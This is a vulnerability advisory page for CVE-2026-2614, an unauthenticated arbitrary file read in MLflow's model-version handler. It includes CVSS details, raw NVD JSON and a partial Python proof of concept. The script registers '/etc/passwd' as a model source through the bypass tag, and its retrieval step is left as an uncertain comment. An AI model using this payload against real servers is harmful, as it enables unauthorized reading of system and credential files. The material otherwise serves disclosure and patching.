Security Vulnerability Report
中文
CVE-2026-2614 CVSS 7.5 HIGH

CVE-2026-2614

Published: 2026-05-11 20:25:41
Last Modified: 2026-05-11 20:25:41

Description

A vulnerability in the `_create_model_version()` handler of `mlflow/server/handlers.py` in mlflow/mlflow versions 3.9.0 and earlier allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The issue arises when a `CreateModelVersion` request includes the tag `mlflow.prompt.is_prompt`, which bypasses source path validation. This enables an attacker to store an arbitrary local filesystem path as the model version source. The `get_model_version_artifact_handler()` function later uses this source to serve files without verifying the model version's prompt status, leading to a complete confidentiality compromise. This issue is fixed in version 3.10.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

MLflow <= 3.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration TARGET_HOST = "http://vulnerable-mlflow-server:5000" API_ENDPOINT = f"{TARGET_HOST}/api/2.0/mlflow/model-versions/create" # Step 1: Exploit the bypass to register a malicious source path # The tag 'mlflow.prompt.is_prompt' triggers the validation bypass payload = { "name": "exploit_model", "source": "/etc/passwd", # Arbitrary file path to read "tags": [ {"key": "mlflow.prompt.is_prompt", "value": "true"} ] } try: print("[+] Sending malicious model version creation request...") r = requests.post(API_ENDPOINT, json=payload) if r.status_code == 200: print("[+] Model version created successfully.") except Exception as e: print(f"[-] Error creating model: {e}") # Step 2: Retrieve the artifact # Note: The exact endpoint to fetch files depends on MLflow routing, # but get_model_version_artifact_handler serves the file directly. print("[+] Attempting to read /etc/passwd via artifact handler...") # This part simulates the internal file server access logic # GET /model-versions/get-artifact?name=exploit_model&version=1

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2614", "sourceIdentifier": "[email protected]", "published": "2026-05-11T20:25:41.423", "lastModified": "2026-05-11T20:25:41.423", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the `_create_model_version()` handler of `mlflow/server/handlers.py` in mlflow/mlflow versions 3.9.0 and earlier allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The issue arises when a `CreateModelVersion` request includes the tag `mlflow.prompt.is_prompt`, which bypasses source path validation. This enables an attacker to store an arbitrary local filesystem path as the model version source. The `get_model_version_artifact_handler()` function later uses this source to serve files without verifying the model version's prompt status, leading to a complete confidentiality compromise. This issue is fixed in version 3.10.0."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6", "source": "[email protected]"}]}}